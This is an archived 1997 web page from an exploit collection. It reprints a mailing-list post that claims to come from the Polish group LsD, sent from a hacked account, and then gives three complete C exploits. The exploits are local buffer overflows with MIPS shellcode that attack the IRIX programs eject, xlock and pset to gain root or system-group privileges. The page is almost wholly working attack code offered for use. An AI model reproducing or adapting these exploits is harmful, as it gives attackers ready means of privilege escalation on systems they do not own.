home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / •New Files / Happle#10 / Files / hack_part2.sit / hack_part2 / IRIX.eject.xlock.pset.buffer.ov < prev    next >
Encoding:
Text File  |  1999-05-16  |  10.1 KB  |  312 lines  |  [TEXT/ttxt]

  1. <HTML>
  2. <HEAD>
  3. <META name="description" content="Apparently, the "anonymous friend" who sent exploit code to Yuri may have swiped it from the polish group LsD.  Anyway, they sent in 3 more exploits which are very similar (actually almost exactly the same) as those Yuri's polish friend sent.">
  4. <META name="keywords" content=" Anyway, IRIX, LsD, More, Yuri, actually, almost, anonymous, as, buffer, code, courtesy, exactly, exploit, exploits, friend, group, have, may, more, overflows, polish, presumably, same, sent, similar, swiped, they, those, up, very, which, who">
  5. <TITLE>3 More IRIX buffer overflows, courtesy of LsD</TITLE>
  6.  
  7. <BODY TEXT="#FFFFFF" LINK="#0B7CFF" VLINK="#7f7f7f" BGCOLOR="#000000">
  8.  
  9. <CENTER><H1><B>3 More IRIX buffer overflows, courtesy of LsD</B></H1></CENTER><TABLE WIDTH="100%"><TR BGCOLOR="#005f00"><TH ALIGN="CENTER"><B>Summary</B></TH></TR></TABLE>
  10. <TABLE>
  11. <TR><TD VALIGN="top"><B>Description:</B></TD><TD>Apparently, the "anonymous friend" who sent exploit code to Yuri may have swiped it from the polish group LsD.  Anyway, they sent in 3 more exploits which are very similar (actually almost exactly the same) as those Yuri's polish friend sent.</TD></TR>
  12. <TR><TD VALIGN="top"><B>Author:</B></TD><TD>Sent from a hacked account by LsD, Last Stage of Delirium</TD></TR>
  13. <TR><TD VALIGN="top"><B>Compromise:</B></TD><TD><font size=+3 color=#ff0000> root </font> (local)</TD></TR>
  14. <TR><TD VALIGN="top"><B>Vulnerable Systems:</B></TD><TD>IRIX, presumably up to 6.3 </TD></TR>
  15. <TR><TD VALIGN="top"><B>Date:</B></TD><TD>25 May 1997 </TD></TR>
  16. <!-- <TR><TD VALIGN="top"><B>Notes:</B></TD><TD> </TD></TR> -->
  17. </TABLE>
  18.  
  19. <TABLE WIDTH="100%"><TR BGCOLOR="#005f00"><TH ALIGN="CENTER"><B>Details</B></TH></TR></TABLE><BR>
  20. <PRE>
  21.  
  22. Date: Mon, 26 May 1997 00:30:53 -0700
  23. From: Mats Andersson <matsa@WWW.TRYCKINDUSTRI.SE>
  24. To: BUGTRAQ@NETSPACE.ORG
  25.  
  26.                                            Sun 25 May 1997, somewhere in Poland.
  27.  
  28. Hi everyone!
  29.  
  30. We're sending you a sample of the codes that were originally written
  31. by the polish group LsD.
  32. In general we are not eager to release our codes but after Yuri's letter
  33. we felt that something was left unmentioned.
  34. We would like to indicate that these pieces of code were written about
  35. half a year ago, just after the release of the Aleph1's article
  36. in Phrack "Smashing the stack for fun and profit".
  37.  
  38. The exploits were written just for our purposes so they are not as perfectly
  39. written as they should be. But in our opinion this is not what is all about
  40. in this kind of programs.
  41. We are not posting df and ordist exploit sources because they are
  42. "amazingly" similar to the sources sent to Yuri.
  43.  
  44. This is just a sample. We assure you that there are more buffer overflow
  45. exploitable programs on irix.
  46.  
  47. Credits go to :
  48.  - Aleph1 for his infamous article about buffer overflow technic,
  49.  - David Hedley for being the first person publicly revealing the irix bo secret,
  50.  - "anonymous friend" for his "cooperation", just dont know what to say you
  51.  
  52. Greetings go to:
  53.  - our friends from the swedish PTR group,
  54.  - all polish hackers
  55.  
  56.  
  57. P.S. This letter was sent from the fake account.....please dont use it.
  58.  
  59. ---------------------------------------------------------------------------------
  60. /* copyright by */
  61. /* Last Stage of Delirium, Dec 1996, Poland*/
  62.  
  63. #include <stdio.h>
  64. #include <stdlib.h>
  65. #include <fcntl.h>
  66.  
  67. #define BUFSIZE 2068
  68. #define OFFS 800
  69. #define ADDRS 3
  70. #define ALIGN 0
  71. #define ALIGN2 4
  72.  
  73. char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
  74. char nop[]="\x24\x0f\x12\x34";
  75.  
  76. void run(unsigned char *buf) {
  77.   execl("/usr/sbin/eject","lsd",buf,NULL);
  78.   printf("execl failed\n");
  79. }
  80.  
  81. char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34";
  82.  
  83. main(int argc, char *argv[]) {
  84.   char *buf, *ptr, addr[8];
  85.   int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  86.   int i, noplen=strlen(nop);
  87.  
  88.   if (argc >1) bufsize=atoi(argv[1]);
  89.   if (argc >2) offs=atoi(argv[2]);
  90.   if (argc >3) addrs=atoi(argv[3]);
  91.   if (argc >4) align=atoi(argv[4]);
  92.  
  93.   if (bufsize<strlen(asmcode)) {
  94.     printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
  95.     exit(1);
  96.   }
  97.   if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
  98.     printf("Can't malloc\n");
  99.     exit(1);
  100.   }
  101.  
  102.   *(int *)addr=(*(unsigned long(*)())jump)()+offs;
  103.   printf("address=%p\n",*(int *)addr);
  104.  
  105.   strcpy(buf,nop);
  106.   ptr=buf+noplen;
  107.   buf+=4-align;
  108.   for(i=0;i<bufsize;i++)
  109.    *ptr++=nop[i%noplen];
  110.   memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
  111.   for(i=0;i<(addrs<<2);i++)
  112.    *ptr++=addr[i%sizeof(int)];
  113.   *ptr=0;
  114.  
  115.   printf("buflen=%d\n", strlen(buf));
  116.   fflush(stdout);
  117.  
  118.   ptr-=addrs<<2;
  119.   *(int *)addr+=(0x7fff350c-0x7fff31e8)+(4*100)+ALIGN2;
  120.   for(i=0;i<64;i++)
  121.    *ptr++=addr[i&3];
  122.  
  123.  
  124. /* gp value is set here */
  125.   ptr=buf+ALIGN+(0x7fff2f00-0x7fff2ce8)-24;
  126.   *(int *)addr=(*(unsigned long(*)())jump)()+OFFS+(0x7fff350c-0x7fff31e8-4)+ALIGN2+32+32412;
  127.  
  128.   for(i=0;i<64;i++)
  129.    *ptr++=addr[i&3];
  130.  
  131.   run(buf);
  132. }
  133.  
  134. ------------------------------------------------------------------------------------
  135. /* copyright by */
  136. /* Last Stage of Delirium, Dec 1996, Poland*/
  137.  
  138. #include <stdio.h>
  139. #include <stdlib.h>
  140. #include <fcntl.h>
  141.  
  142. #define BUFSIZE 2072
  143. #define OFFS (800+512+128)
  144. #define ADDRS 0x100
  145. #define ALIGN 2
  146.  
  147. char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
  148. char nop[]="\x24\x0f\x12\x34";
  149.  
  150. void run(unsigned char *buf) {
  151.   execl("/usr/bin/X11/xlock","lsd","-name",buf,NULL);
  152.   printf("execl failed\n");
  153. }
  154.  
  155. char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34";
  156.  
  157. main(int argc, char *argv[]) {
  158.   char *buf, *ptr, addr[8];
  159.   int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  160.   int i, noplen=strlen(nop);
  161.  
  162.   if (argc >1) bufsize=atoi(argv[1]);
  163.   if (argc >2) offs=atoi(argv[2]);
  164.   if (argc >3) addrs=atoi(argv[3]);
  165.   if (argc >4) align=atoi(argv[4]);
  166.  
  167.   if (bufsize<strlen(asmcode)) {
  168.     printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
  169.     exit(1);
  170.   }
  171.   if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
  172.     printf("Can't malloc\n");
  173.     exit(1);
  174.   }
  175.  
  176.   *(int *)addr=(*(unsigned long(*)())jump)()+offs;
  177.   printf("address=%p\n",*(int *)addr);
  178.  
  179.   strcpy(buf,nop);
  180.   ptr=buf+noplen;
  181.   buf+=4-align;
  182.   for(i=0;i<bufsize;i++)
  183.    *ptr++=nop[i%noplen];
  184.   memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
  185.   for(i=0;i<(addrs<<2);i++)
  186.    *ptr++=addr[i%sizeof(int)];
  187.   *ptr=0;
  188.  
  189.   printf("buflen=%d\n",strlen(buf));
  190.   fflush(stdout);
  191.  
  192. /* gp value is set here */
  193.   ptr=buf+ALIGN+(0x7fff22c0-0x7fff1ea0);
  194.   *(int *)addr=(*(unsigned long(*)())jump)()+OFFS+(0x7fff3828-0x7fff3468)+32476;
  195.   for(i=0;i<4;i++)
  196.    *ptr++=addr[i&3];
  197.  
  198.   run(buf);
  199. }
  200.  
  201. ------------------------------------------------------------------------------------
  202. /* copyright by */
  203. /* Last Stage of Delirium, Dec 1996, Poland*/
  204.  
  205. /* This one gives you egid=0(sys) */
  206.  
  207. #include <stdio.h>
  208. #include <stdlib.h>
  209. #include <fcntl.h>
  210.  
  211. #define BUFSIZE 4172
  212. #define OFFS 816
  213. #define ADDRS 8
  214. #define ALIGN 3
  215. #define ALIGN2 1
  216.  
  217. char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
  218. /*
  219. char nop[]="\x24\x0f\x12\x34";
  220. */
  221. char nop[]="\x01\x20\x48\x25";
  222.  
  223. void run(unsigned char *buf) {
  224.   execl("/sbin/pset","lsd","-s","666",buf,NULL);
  225.   printf("execl failed\n");
  226. }
  227.  
  228. char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34";
  229.  
  230. /*
  231. unsigned long get_sp(void) {
  232. __asm__("or     $2,$sp,$0");
  233. }
  234. */
  235. main(int argc, char *argv[]) {
  236.   char *buf, *ptr, addr[8];
  237.   int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  238.   int i, noplen=strlen(nop);
  239.  
  240.   if (argc >1) bufsize=atoi(argv[1]);
  241.   if (argc >2) offs=atoi(argv[2]);
  242.   if (argc >3) addrs=atoi(argv[3]);
  243.   if (argc >4) align=atoi(argv[4]);
  244.  
  245.   if (bufsize<strlen(asmcode)) {
  246.     printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
  247.     exit(1);
  248.   }
  249.   if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
  250.     printf("Can't malloc\n");
  251.     exit(1);
  252.   }
  253.  
  254.   *(int *)addr=(*(unsigned long(*)())jump)()+offs;
  255.   printf("address=%p\n", *(int *)addr);
  256.  
  257.   strcpy(buf,nop);
  258.   ptr=buf+noplen;
  259.   buf+=align;
  260.   for(i=0;i<bufsize;i++)
  261.    *ptr++=nop[i%noplen];
  262.   memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
  263.   for(i=0;i<ALIGN2;i++)
  264.    *ptr++=nop[i%noplen];
  265.   for(i=0;i<(addrs<<2);i++)
  266.    *ptr++=addr[i%sizeof(int)];
  267.   *ptr=0;
  268.   printf("buflen=%d\n", strlen(buf));
  269.   fflush(stdout);
  270.  
  271.   run(buf);
  272. }
  273. </PRE>
  274.  
  275.  
  276. <PRE>
  277.  
  278. </PRE>
  279.  
  280.  
  281. <TABLE WIDTH="100%"><TR BGCOLOR="#005f00"><TH ALIGN="CENTER"><B>More
  282. Exploits!</B></TH></TR></TABLE><BR>
  283.  
  284. The master index of all exploits is available
  285. <A HREF="../sploits_all.html">here</A> (Very large file)<BR>
  286. Or you can pick your favorite operating system:<BR>
  287.  
  288. <TABLE BORDER=1>
  289. <TR>
  290. <TD><A HREF="../sploits_all.html">All OS's</A></TD>
  291. <TD><A HREF="../sploits_linux.html">Linux</A></TD>
  292. <TD><A HREF="../sploits_solaris.html">Solaris/SunOS</A></TD>
  293. <TD><A HREF="../sploits_microshit.html">Micro$oft</A></TD>
  294. </TR><TR>
  295. <TD><A HREF="../sploits_bsd.html">*BSD</A></TD>
  296. <TD><A HREF="../sploits_mac.html">Macintosh</A></TD>
  297. <TD><A HREF="../sploits_aix.html">AIX</A></TD>
  298. <TD><A HREF="../sploits_irix.html">IRIX</A></TD>
  299. </TR><TR>
  300. <TD><A HREF="../sploits_ultrix.html">ULTRIX/Digital UNIX</A></TD>
  301. <TD><A HREF="../sploits_hpux.html">HP/UX</A></TD>
  302. <TD><A HREF="../sploits_sco.html">SCO</A></TD>
  303. <TD><A HREF="../sploits_remote.html">Remote exploits</A></TD>
  304. </TR></TABLE>
  305. <BR>
  306. This page is part of <A HREF="../sploits.html"> Fyodor's exploit
  307. world</A>.  Please do not <A HREF="../notes/steal.html"> steal</A>
  308. it.  For a free program to automate scanning your network for vulnerable
  309. hosts and services, check out my network mapping tool, <A HREF="../nmap/index.html">nmap</A>.
  310. </BODY>
  311. </HTML>
  312.